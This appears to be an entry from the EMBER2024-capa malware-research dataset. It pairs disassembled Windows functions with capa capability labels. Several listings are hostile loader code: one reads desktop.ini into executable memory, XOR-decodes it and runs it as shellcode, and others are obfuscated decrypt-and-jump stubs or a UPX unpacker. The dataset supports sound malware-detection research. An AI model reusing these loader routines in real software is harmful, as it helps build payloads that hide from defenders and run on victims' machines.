joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10034832
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x100348e0
lea eax, [ebp + 8]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x1003486a
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x100348db
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
push 8
pop ecx
imul ecx, ecx, 5
lea eax, [eax + ecx + 0x78]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp dword [eax + 4], 0
jbe 0x100348db
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0
jbe 0x100348db
push 0
push 0xa7a
mov eax, dword [ebp - 0x20]
push dword [eax]
push 0x4c8f
lea eax, [ebp - 0xc]
push eax
push 0x30c9
push 1
push dword [ebp - 0x10]
push 0x52f3
call fcn.1002a9ba
add esp, 0x24
jmp 0x100348a5
jmp 0x1003496b
lea eax, [ebp + 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x10034946
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
mov eax, dword [eax]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
mov dword [ecx], eax
jmp 0x1003496b
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax]
test eax, eax
je 0x1003496b
push 0x773
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov esp, ebp
pop ebp
ret
Function at 0x100351ad
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10071b3d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x40
push esi
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10035357
lea eax, [ebp + 0xc]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 0x1795
cmp dword [ebp - 0x24], 0xa33
jge 0x1003532f
mov dword [ebp - 0x2c], 0x989680
lea eax, [ebp - 0x10]
push eax
push 0x1000b1fc
call fcn.1005856b
pop ecx
pop ecx
push dword [ebp - 0x10]
lea ecx, [ebp - 0x4c]
call fcn.10011f61
and dword [ebp - 4], 0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x40]
call fcn.10011f61
mov byte [ebp - 4], 1
and dword [ebp - 0x18], 0
jmp 0x10035231
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x10]
jge 0x10035253
push dword [ebp - 0x18]
lea ecx, [ebp - 0x4c]
call fcn.10011fc8
push eax
push 0x1000b1fc
call fcn.1005856b
pop ecx
pop ecx
jmp 0x1003522a
and dword [ebp - 0x1c], 0
jmp 0x10035260
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x10]
jge 0x10035282
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x40]
call fcn.10011fc8
push eax
push 0x1000b1fc
call fcn.1005856b
pop ecx
pop ecx
jmp 0x10035259
movsd xmm0, qword [0x1000b908]
movsd qword [ebp - 0x34], xmm0
and dword [ebp - 0x20], 0
jmp 0x1003529c
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x989680
jge 0x100352f6
and dword [ebp - 0x14], 0
jmp 0x100352b2
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
jge 0x100352f4
push dword [ebp - 0x14]
lea ecx, [ebp - 0x4c]
call fcn.10011fc8
mov ecx, eax
mov eax, dword [ebp - 0x20]
cdq
idiv dword [ecx]
mov esi, edx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x40]
call fcn.10011fc8
cmp esi, dword [eax]
jne 0x100352f2
movsd xmm0, qword [ebp - 0x34]
addsd xmm0, qword [0x1000b938]
movsd qword [ebp - 0x34], xmm0
jmp 0x100352f4
jmp 0x100352ab
jmp 0x10035295
movsd xmm0, qword [ebp - 0x34]
divsd xmm0, qword [0x1000b950]
push ecx
push ecx
movsd qword [esp], xmm0
push 0x1000b398
call fcn.10058bc8
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.10011fc3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c]
call fcn.10011fc3
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
test eax, eax
je 0x1003534d
push 0x227f
push 1
push 0xbc0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x10035355
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
jmp 0x1003536b
push 0x6fac
push 0x1b5a
push 1
call fcn.1001a202
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10035396
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x100353e0
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x100353c5
push 0x773
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
jmp 0x100353de
push 0
push 0
push 0x1e6e
push 0x11f1
push 0x360
call dword [sym.imp.USER32.dll_ScrollWindow]
jmp 0x100353fc
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push 1
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.10029df4
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x1003e082
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1003e0c9
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x20]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1003e0bf
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
jmp 0x1003e0c7
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x1003e110
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x24], eax
push 0x6784
push 1
mov eax, dword [ebp - 0x14]
push dword [eax]
mov eax, dword [ebp - 0x18]
push dword [eax]
mov eax, dword [ebp - 0x1c]
push dword [eax]
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push 0x694b
call fcn.1001be2f
add esp, 0x20
mov esp, ebp
pop ebp
ret
Function at 0x1006c2f5
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10077760]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1005ccc8
mov dword [ebp - 0x14], eax
cmp dword [0x10664728], esi
jne 0x1006c3e8
push 0x800
push esi
push 0x1000b094
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1006c375
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1006c4c8
push esi
push esi
push 0x1000b094
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1006c4c8
push 0x1000b0ac
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1006c4c8
push eax
call ebx
push 0x1000b0b8
push edi
mov dword [0x10664728], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x1000b0c8
push edi
mov dword [0x1066472c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x1000b0dc
push edi
mov dword [0x10664730], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10664738], eax
test eax, eax
je 0x1006c3e5
push 0x1000b0f8
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10664734], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1006c40d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1006c400
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1006c422
push 4
pop eax
jmp 0x1006c4ca
cmp dword [ebp - 0x14], esi
je 0x1006c422
push dword [0x10664728]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1006c407
mov eax, dword [0x10664734]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1006c480
cmp dword [0x10664738], edi
je 0x1006c480
push eax
call ebx
push dword [0x10664738]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1006c480
test eax, eax
je 0x1006c480
call ecx
test eax, eax
je 0x1006c475
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1006c475
test byte [ebp - 8], 1
jne 0x1006c480
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1006c4b0
mov eax, dword [0x1066472c]
cmp eax, edi
je 0x1006c4ad
push eax
call ebx
test eax, eax
je 0x1006c4ad
call eax
mov esi, eax
test esi, esi
je 0x1006c4ad
mov eax, dword [0x10664730]
cmp eax, edi
je 0x1006c4ad
push eax
call ebx
test eax, eax
je 0x1006c4ad
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x10664728]
call ebx
test eax, eax
je 0x1006c4c8
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1006c4ca
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005a3c6
mov esp, ebp
pop ebp
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x455612
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x455621
pop dword [ebp - 8]
mov eax, 0x455621
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x6c22ff33
sub dword [ebp - 0x18], 0x1dd0b9e8
mov dword [ebp - 0x14], 0x95d3edf1
add dword [ebp - 0x14], 0x9c5f5e54
mov dword [ebp - 0x10], 0x19c4df44
sub dword [ebp - 0x10], 0xcd789b16
mov dword [ebp - 0xc], 0x4ea5bafd
add dword [ebp - 0xc], 0xb15a4503
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xf6693c40
sub dword [ebp - 0x18], 0x81f6d2ea
mov dword [ebp - 0x14], 0xb0d510e9
add dword [ebp - 0x14], 0x9097508c
mov dword [ebp - 0x10], 0x44abe047
sub dword [ebp - 0x10], 0xe13c73db
mov dword [ebp - 0xc], 0xa4684523
add dword [ebp - 0xc], 0x5b97badd
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x84a9a017
sub eax, 0x8463ef97
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x4f7cc
push 0
call eax
mov ecx, 0xda03e704
sub ecx, 0xda039687
mov edx, eax
mov esi, 0x44a9a9dd
sub esi, 0x446249dd
add esi, dword [ebp - 8]
mov ebx, 0x14c6f933
sub ebx, 0xe88013b8
add dword [ebp - 4], eax
mov edi, dword [esi]
add edi, ebx
xor dword [ebp - 4], 0x8f79686a
mov dword [edx], edi
add dword [ebp - 4], ebx
add edx, 0x5c999b1b
sub edx, 0x5c999b17
add esi, 0x33ce2234
add esi, 0xcc31ddd0
loop 0x455739
add eax, 0xb4380502
sub eax, 0xb436d03b
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x41661e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x41662d
pop dword [ebp - 0x20]
mov eax, 0x7b690ca3
add eax, 0x84d8598a
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x3fbd2
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x67bdb34c
add ecx, 0x9842a21a
xor edx, edx
add edx, eax
mov esi, 0x4f29dca6
add esi, 0xb119515a
add esi, dword [ebp - 0x20]
mov ebx, 0x9c11565d
add dword [ebp - 0x14], 0x9e034601
mov edi, dword [esi]
xor dword [ebp - 8], 0x56b66ce5
xor edi, ebx
xor dword [ebp - 0xc], 0x7192d1e0
mov dword [edx], edi
add edx, 4
add esi, 4
loop 0x416683
add eax, 0x1486b
xor ebx, ebx
add ebx, eax
add eax, 0x38026a52
sub eax, 0x38026a4d
mov ecx, 0x31b2ec1e
sub ecx, 0x3172ec1e
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x8b8420
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2dd000]
push edi
or ebp, 0xffffffff
jmp 0x8b8442
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x8b8449
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8b8438
mov eax, 1
add ebx, ebx
jne 0x8b845b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x8b846c
jne 0x8b848b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8b848b
dec eax
add ebx, ebx
jne 0x8b8478
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x8b8450
add ebx, ebx
jne 0x8b8487
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x8b84dd
xor ecx, ecx
sub eax, 3
jb 0x8b84a3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x8b8512
sar eax, 1
mov ebp, eax
jmp 0x8b84ae
add ebx, ebx
jne 0x8b84ae
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8b847c
inc ecx
add ebx, ebx
jne 0x8b84bc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8b847c
add ebx, ebx
jne 0x8b84c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x8b84be
jne 0x8b84da
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x8b84be
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x8b84fc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x8b84ee
jmp 0x8b843e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x8b84fc
add edi, ecx
jmp 0x8b843e
pop esi
mov edi, esi
mov ecx, 0xb3e0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x8b851a
cmp byte [edi], 0x62
jne 0x8b851a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x8b851f
lea edi, [esi + 0x4b4000]
mov eax, dword [edi]
or eax, eax
je 0x8b858e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4bcf88]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4bd134]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x8b854c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4bd13c]
or eax, eax
je 0x8b8588
mov dword [ebx], eax
add ebx, 4
jmp 0x8b8569
call dword [esi + 0x4bd138]
mov ebp, dword [esi + 0x4bd140]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x8b85c2
sub esp, 0xffffff80
jmp 0x57ceac
Function at 0x10009761
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x1001f5e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
call fcn.1000a23f
test eax, eax
je 0x10009876
xor ebx, ebx
mov dword [ebp - 0x214], 0x104
push ebx
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.shlwapi.dll_PathCreateFromUrlW]
test eax, eax
js 0x10009876
push ebx
push 0x80
push 3
push ebx
inc ebx
lea eax, [ebp - 0x20c]
push ebx
push SysReAllocStringLen
push eax
call dword [sym.imp.kernel32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10009876
push 0
lea eax, [ebp - 0x218]
push eax
push 4
lea eax, [ebp - 0x210]
push eax
push edi
call dword [sym.imp.kernel32.dll_ReadFile]
push edi
mov esi, eax
call dword [sym.imp.kernel32.dll_CloseHandle]
test esi, esi
je 0x10009876
cmp dword [ebp - 0x218], 4
jne 0x10009876
push 3
lea eax, [ebp - 0x210]
push 0x10017620
push eax
call sub.VCRUNTIME140.dll_memcmp
add esp, 0xc
test eax, eax
je 0x10009840
push 3
lea eax, [ebp - 0x210]
push 0x10017624
push eax
call sub.VCRUNTIME140.dll_memcmp
add esp, 0xc
test eax, eax
je 0x10009840
mov al, bl
jmp 0x10009878
xor eax, eax
push eax
push eax
push eax
movsx ax, byte [ebp - 0x20d]
movzx eax, ax
push eax
call fcn.10009989
mov ecx, dword [0x10020678]
add esp, 0x10
mov edi, eax
mov esi, edx
call fcn.10009989
cmp edx, esi
jb 0x10009872
ja 0x1000983c
cmp eax, edi
jae 0x1000983c
xor bl, bl
jmp 0x1000983c
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10013bb0
leave
ret 4

Function at 0x10009989
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x10009998
pop dword [ebp - 0x4c]
mov eax, 0x10009998
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3c4ea
push 0
mov eax, 0x89226817
add eax, 0x86def929
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x68f2d6a3
sub ecx, 0x68f28665
mov edi, eax
mov edx, 0x66a88be
add edx, 0x997bb42
add edx, dword [ebp - 0x4c]
mov esi, 0xe664bf3f
add esi, 0x84e51c53
add dword [ebp - 0x2c], 0x35c4b5bf
mov ebx, dword [edx]
add dword [ebp - 8], esi
xor ebx, esi
add dword [ebp - 0x24], 0x6ba52573
mov dword [edi], ebx
sub dword [ebp - 0x30], 0x95a92bc3
add edi, 0xc9287f90
sub edi, 0xc9287f8c
add edx, 0x7229024
sub edx, 0x7229020
loop 0x100099f2
add eax, 0xee173739
sub eax, 0xee16036e
mov ebx, eax
add eax, 0xadea7513
sub eax, 0xadea750e
mov ecx, 0x10000000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x1001529
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
lea eax, [ebp - 4]
push eax
push 0x20019
xor ebx, ebx
push ebx
push 0x10015a0
push 0x80000002
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001588
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push 0x1001590
push dword [ebp - 4]
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10017cd
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
leave
ret
cmp dword [ebp - 8], 0xd2af9
sete bl
jmp 0x100157f

Function at 0x1001630
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
mov byte [ebp - 1], 1
je 0x1001667
push 0x10017c0
push dword [ebp + 8]
call fcn.010015ca
test eax, eax
pop ecx
pop ecx
jne 0x10017dc
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 8]
push eax
mov edi, 0x20019
push edi
push ebx
push 0x1001730
push 0x80000001
call esi
test eax, eax
jne 0x10016d1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x100178c
push dword [ebp - 8]
mov dword [ebp - 0xc], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10016c0
cmp dword [ebp - 0x10], 4
jne 0x10016c0
cmp dword [ebp - 0x14], 1
je 0x10017e3
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 1], bl
mov dword [ebp - 8], ebx
je 0x1001723
lea eax, [ebp - 8]
push eax
push edi
push ebx
push 0x100175c
push 0x80000002
call esi
test eax, eax
jne 0x1001723
push 4
pop esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x10017a8
push dword [ebp - 8]
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100171a
cmp dword [ebp - 0x10], esi
jne 0x100171a
cmp dword [ebp - 0x14], 1
jne 0x100171a
mov byte [ebp - 1], bl
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 4
xor al, al
jmp 0x1001728
mov byte [ebp - 1], bl
jmp 0x10016c0

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
